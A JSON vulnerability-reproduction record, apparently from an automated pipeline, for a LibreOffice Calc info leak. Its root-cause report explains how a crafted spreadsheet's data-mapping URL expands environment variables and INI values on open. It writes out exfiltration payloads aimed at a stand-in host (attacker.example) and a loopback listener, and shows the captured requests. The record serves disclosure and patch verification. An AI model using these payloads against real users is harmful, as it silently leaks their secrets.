{"repro_id":"REPRO-2026-00379","version":6,"title":"Environment/ini-file leaks — document-supplied URLs expand env and INI values and exfiltrate them to a remote server","repro_type":"security","status":"published","severity":"medium","cvss_score":6.7,"description":"# CVE-2026-63270 — Environment/ini-file leaks (LibreOffice)","root_cause":"# CVE-2026-63270 — Root Cause Analysis\n\n## Summary\n\nLibreOffice Calc's external data-mapping feature (`calcext:data-mappings`, used by the csv/html/xml/sql \"Data Provider\" sources) accepts attacker-controlled URLs from a document. In LibreOffice 26.2 up to (and excluding) 26.2.5, the csv data provider fetches such a URL at document-load time without verifying that the URL does not use LibreOffice-internal schemes. A crafted spreadsheet can therefore carry a data-mapping URL like `vnd.sun.star.expand:http://attacker.example/?x=${SECRET_ENV_VAR}` (or `${file\\:///path/to/ini.ini:Section:Key}`); when the victim opens the document, the `vnd.sun.star.expand` content provider expands the embedded macro against the *victim's* environment variables and INI/config files, and the resulting URL — now carrying the secret values — is fetched from the remote (attacker) server. The check added for CVE-2024-12426 did not cover the Calc data-provider fetch path, so the expansion was still reachable from document content.\n\n## Impact\n\n- **Package/component affected**: `sc/source/ui/dataprovider/dataprovider.cxx` (`DataProvider::FetchStreamFromURL`, used by `sc/source/ui/dataprovider/csvdataprovider.cxx`), plus `sc/source/ui/dataprovider/sqldataprovider.cxx`, `sc/source/core/tool/webservicelink.cxx`, and `forms/source/xforms/model.cxx` (XForms instance data), all reached through document-supplied URLs.\n- **Affected versions**: LibreOffice 26.2 before 26.2.5 (verified on the official TDF builds 26.2.4.2 and 26.2.5.2).\n- **Risk level / consequences**: CWE-200 exposure of sensitive information (CVSS 4.0 6.7 MEDIUM). Opening a document silently discloses process environment variables (e.g. tokens, paths) and arbitrary INI/TOML/`.env`-style file values to a remote server. No user interaction beyond opening the document; works in headless conversion scenarios too.\n\n## Impact Parity\n\n- **Disclosed/claimed maximum impact**: environment-variable and INI-file values expanded into a document-supplied URL and sent to a remote server on document open (info leak / CWE-200).\n- **Reproduced impact from this run**: full parity — on opening the crafted `.fods`, the vulnerable product (26.2.4.2) expanded `${PRUVA63270_SECRET}` (process environment variable) and `${file\\:///…/secret.ini:Secrets:Token}` (INI-file value) and delivered both expanded values to the attacker-controlled HTTP server in two independent fresh processes; the fixed product (26.2.5.2) delivered nothing.\n- **Parity**: `full`.\n- **Not demonstrated**: nothing further — the claim is an info leak and both halves (env var and INI value) were exfiltrated end-to-end.\n\n## Root Cause\n\n`ScXMLMappingContext` (ODF import, `sc/source/filter/xml/xmlmappingi.cxx`) reads `calcext:data-mapping` entries from the document and, at context destruction (i.e. during document load), calls `sc::ExternalDataSource::refresh()`, which creates the named provider (`org.libreoffice.calc.csv` → `CSVDataProvider`) and calls `DataProvider::FetchStreamFromURL(maURL, …)`. In the vulnerable version that function performs **no scheme validation**:\n\n```cpp\nstd::unique_ptr<SvStream> DataProvider::FetchStreamFromURL(const OUString& rURL, OStringBuffer& rBuffer)\n{\n    try {\n        // opens ANY url, including vnd.sun.star.expand:...\n        xStream = xFileAccess->openFileRead( rURL );\n```\n\n`openFileRead` goes through UCB, whose `ExpandContentProvider` (`ucb/source/ucp/expand/ucpexpand.cxx`) handles the `vnd.sun.star.expand:` scheme by macro-expanding the remainder of the URL (`util::theMacroExpander` → `rtl_bootstrap_expandMacros_from_handle`). The bootstrap macro language supports:\n- `${NAME}` → looked up via `Bootstrap_Impl::getAmbienceValue` → `osl_getEnvironment` (process environment variable),\n- `${ini_file:Section:Key}` → `osl::Profile(ini_file).readString(...)` (arbitrary INI-like file read).\n\nThe expanded result (e.g. `http://attacker/?token=SECRET-VALUE`) is then opened as a real URL, exfiltrating the value.\n\nThe fix for CVE-2024-12426 (24.8.4) added \"internal scheme\" checks only in other code paths; the Calc data providers, the WEBSERVICE-function link, and XForms instance data still fed document-supplied URLs straight to UCB.\n\n**Fix commit** (in 26.2.5): `c3355f20dcd5956116819ae4f2f843014407cf4d` — \"don't bother loading exotic protocols for document-supplied data\" — adds `INetURLObject(sURL).IsExoticProtocol()` refusal checks in `forms/source/xforms/model.cxx` (`Model::loadInstance`), `sc/source/core/tool/webservicelink.cxx`, `sc/source/ui/dataprovider/dataprovider.cxx` (`FetchStreamFromURL`), and `sc/source/ui/dataprovider/sqldataprovider.cxx`. `INetURLObject::IsExoticProtocol()` (tools/source/fsys/urlobj.cxx) classifies `vnd.sun.star.expand` as an exotic/internal scheme. Related hardening in the same release: `49c3c4e59c48` puts data mappings under link-update control, and `a6fb1b10bb1a` restricts providers on document load.\n\n## Reproduction Steps\n\n1. Script: `bundle/repro/reproduction_steps.sh` (self-contained; run with `bash`).\n2. What it does:\n   - Installs missing X/GLib runtime libraries, downloads the official TDF builds `LibreOffice_26.2.4.2` (vulnerable) and `LibreOffice_26.2.5.2` (fixed control) `Linux_x86-64_deb.tar.gz` from `downloadarchive.documentfoundation.org` (checksum-pinned) and unpacks them.\n   - Starts a local HTTP listener (the stand-in for the attacker's remote exfiltration server) on an ephemeral loopback port and health-checks it.\n   - Crafts, per attempt, a flat-ODS spreadsheet containing two `calcext:data-mapping` entries (`org.libreoffice.calc.csv` provider): one URL `vnd.sun.star.expand:http://127.0.0.1:PORT/env?token=${PRUVA63270_SECRET}` and one URL `vnd.sun.star.expand:http://127.0.0.1:PORT/ini?value=${file\\:///…/secret.ini:Secrets:Token}`, each referencing a registered `table:database-range` as required by the import code.\n   - Opens the crafted document in the real product with a fresh user profile and a unique per-attempt secret for both the environment variable and the INI file value, in six isolated attempts: two `soffice --headless --convert-to ods` conversions and one direct viewer open (`soffice --headless <doc.fods>`) on the vulnerable 26.2.4.2 build, plus the same two conversion attempts and one direct open on the fixed control 26.2.5.2.\n   - Captures the listener's request lines per attempt (finalized per-attempt `exfil-capture.txt`), stops the listener, and writes `bundle/repro/runtime_manifest.json`.\n3. Expected evidence: in all three vulnerable attempts (convert and direct open) the listener receives `GET /env?token=<expanded env secret>` and `GET /ini?value=<expanded INI secret>`; in all three fixed attempts the listener receives nothing for those tokens.\n\n## Evidence\n\n- Per-attempt captures: `bundle/repro/proof/<role>/exfil-capture.txt` (plus `crafted.fods`, `secret.ini`), run logs `bundle/logs/attempts/<role>.log`, full listener transcript `bundle/logs/server-access.log`, script log `bundle/logs/reproduction_steps.log`.\n- Key excerpt (every vulnerable attempt, convert and direct open alike):\n  ```\n  GET /env?token=PRUVA-CVE-2026-63270-vulnerable-1-ENV-<hex> HTTP/1.1\n  GET /ini?value=PRUVA-CVE-2026-63270-vulnerable-1-INI-<hex> HTTP/1.1\n  ```\n  Fixed attempts: no matching requests at all (empty per-attempt captures).\n- Identity: vulnerable soffice reports `buildid=0229ac93fcf0d7cbc6376066c6f35021cef002dc` (= tag `libreoffice-26.2.4.2`, CVE-affected); fixed control `buildid=cd7284b4cbbfeb507e630c1aac019f4157393acb` (= tag `libreoffice-26.2.5.2`).\n- Environment: Ubuntu 26.04 x86_64, product installed from official TDF debs, headless Calc open/convert path (`--convert-to ods`) as the document-open entry point.\n\n## Recommendations / Next Steps\n\n- Upgrade to LibreOffice ≥ 26.2.5 (or 26.8.0), where document-supplied URLs with internal schemes (`vnd.sun.star.expand` etc.) are refused by `IsExoticProtocol()` checks at every document-supplied-URL sink, and data mappings refresh only under explicit link-update control.\n- Defense-in-depth: treat all document-supplied URLs as untrusted input at a single, central validation point (allow-list of external schemes) rather than per-sink checks; consider not resolving macros for any document-origin URL.\n- Testing: the upstream `sc/qa/unit/data/dataprovider/mappinggate.fods` style documents can be extended with `vnd.sun.star.expand:` mapping URLs to assert they are refused on load in both the csv and sql providers and in XForms instance data.\n\n## Additional Notes\n\n- Idempotency: the script is re-runnable; cached tarballs are checksum-verified and reused, per-attempt proof dirs are recreated, and a fresh listener port is chosen each run. It was executed twice consecutively with identical confirming results (all vulnerable attempts leaked both values, all fixed attempts leaked nothing, exit 0 both times).\n- The XForms instance-data variant (also fixed by `c3355f20dcd5`) was not separately reproduced; the Calc csv data-provider path (`calcext:data-mappings`) is one of the two named document surfaces and fully demonstrates the vulnerability class.\n- The INI exfiltration requires the `file\\:///` (escaped file-URL) macro form because `osl_openProfile` expects a file URL; a plain path silently expands to empty.\n- Exfiltration target is a loopback listener standing in for the attacker server; the fetch itself is a plain outbound HTTP request, so a real remote host behaves identically.\n","cve_id":"CVE-2026-63270","cwe_id":"CWE-200 Exposure of Sensitive Information to an Unauthorized Actor","source_url":"https://cveawg.mitre.org/api/cve/CVE-2026-63270","package":{"name":"libreoffice/core","ecosystem":"other","affected_versions":"LibreOffice 26.2 series from 26.2 before 26.2.5","fixed_version":"26.2.5"},"reproduced_at":"2026-10-06T05:22:37.687393+00:00","duration_secs":4023.0,"tool_calls":246,"handoffs":2,"total_cost_usd":5.409409,"agent_costs":{"claim_matcher":0.020332,"judge":0.725412,"learning_policy":0.010973,"repro":2.779854,"support":0.072981,"vuln_variant":1.799857},"cost_breakdown":{"claim_matcher":{"gpt-5.4-mini-2026-03-17":0.020332},"judge":{"gpt-5.6-sol":0.725412},"learning_policy":{"gpt-5.4-mini-2026-03-17":0.010973},"repro":{"accounts/fireworks/models/glm-5p3":2.779854},"support":{"accounts/fireworks/models/glm-5p3":0.072981},"vuln_variant":{"accounts/fireworks/models/glm-5p3":1.799857}},"vulnerable_version_variant_outcome":"unknown","fix_bypass_outcome":"unknown","variant_disclosure_state":"unknown","quality":{"confidence":"high","idempotent_verified":false,"community_verifications":0},"evidence":{"workflow":{"profile":"known_vulnerability","schema_version":2,"stages":["support","claim_contract","repro","judge","vuln_variant"]}},"environment":{"sandbox_image":"ghcr.io/n3mes1s/pruva-sandbox@sha256:8096b2518d6022e13d68f885c3b8ded6b4fe607098b1a1ccbfb99abc004d1dc1"},"published_at":"2026-10-06T05:22:38.634688+00:00","retracted":false,"artifacts":[{"path":"bundle/repro/rca_report.md","filename":"rca_report.md","size":9467,"category":"analysis"},{"path":"bundle/repro/reproduction_steps.sh","filename":"reproduction_steps.sh","size":17941,"category":"reproduction_script"},{"path":"bundle/logs/attempts/fixed-1.log","filename":"fixed-1.log","size":520,"category":"log"},{"path":"bundle/logs/attempts/fixed-2.log","filename":"fixed-2.log","size":520,"category":"log"},{"path":"bundle/logs/attempts/fixed-open-1.log","filename":"fixed-open-1.log","size":490,"category":"log"},{"path":"bundle/logs/attempts/vulnerable-1.log","filename":"vulnerable-1.log","size":550,"category":"log"},{"path":"bundle/logs/attempts/vulnerable-2.log","filename":"vulnerable-2.log","size":550,"category":"log"},{"path":"bundle/logs/attempts/vulnerable-open-1.log","filename":"vulnerable-open-1.log","size":510,"category":"log"},{"path":"bundle/logs/server-access.log","filename":"server-access.log","size":1397,"category":"log"},{"path":"bundle/repro/proof/fixed-1/crafted.fods","filename":"crafted.fods","size":1721,"category":"other"},{"path":"bundle/repro/proof/fixed-1/exfil-capture.txt","filename":"exfil-capture.txt","size":0,"category":"other"},{"path":"bundle/repro/proof/fixed-1/secret.ini","filename":"secret.ini","size":66,"category":"other"},{"path":"bundle/repro/proof/fixed-2/crafted.fods","filename":"crafted.fods","size":1721,"category":"other"},{"path":"bundle/repro/proof/fixed-2/exfil-capture.txt","filename":"exfil-capture.txt","size":0,"category":"other"},{"path":"bundle/repro/proof/fixed-2/secret.ini","filename":"secret.ini","size":66,"category":"other"},{"path":"bundle/repro/proof/fixed-open-1/crafted.fods","filename":"crafted.fods","size":1726,"category":"other"},{"path":"bundle/repro/proof/fixed-open-1/exfil-capture.txt","filename":"exfil-capture.txt","size":0,"category":"other"},{"path":"bundle/repro/proof/fixed-open-1/secret.ini","filename":"secret.ini","size":71,"category":"other"},{"path":"bundle/repro/proof/vulnerable-1.marker","filename":"vulnerable-1.marker","size":41,"category":"other"},{"path":"bundle/repro/proof/vulnerable-1/crafted.fods","filename":"crafted.fods","size":1726,"category":"other"},{"path":"bundle/repro/proof/vulnerable-1/exfil-capture.txt","filename":"exfil-capture.txt","size":440,"category":"other"},{"path":"bundle/repro/proof/vulnerable-1/secret.ini","filename":"secret.ini","size":71,"category":"other"},{"path":"bundle/repro/proof/vulnerable-2.marker","filename":"vulnerable-2.marker","size":41,"category":"other"},{"path":"bundle/repro/proof/vulnerable-2/crafted.fods","filename":"crafted.fods","size":1726,"category":"other"},{"path":"bundle/repro/proof/vulnerable-2/exfil-capture.txt","filename":"exfil-capture.txt","size":440,"category":"other"},{"path":"bundle/repro/proof/vulnerable-2/secret.ini","filename":"secret.ini","size":71,"category":"other"},{"path":"bundle/repro/proof/vulnerable-open-1.marker","filename":"vulnerable-open-1.marker","size":46,"category":"other"},{"path":"bundle/repro/proof/vulnerable-open-1/crafted.fods","filename":"crafted.fods","size":1731,"category":"other"},{"path":"bundle/repro/proof/vulnerable-open-1/exfil-capture.txt","filename":"exfil-capture.txt","size":460,"category":"other"},{"path":"bundle/repro/proof/vulnerable-open-1/secret.ini","filename":"secret.ini","size":76,"category":"other"},{"path":"bundle/repro/runtime_manifest.json","filename":"runtime_manifest.json","size":4518,"category":"other"},{"path":"bundle/repro/validation_verdict.json","filename":"validation_verdict.json","size":1516,"category":"other"}]}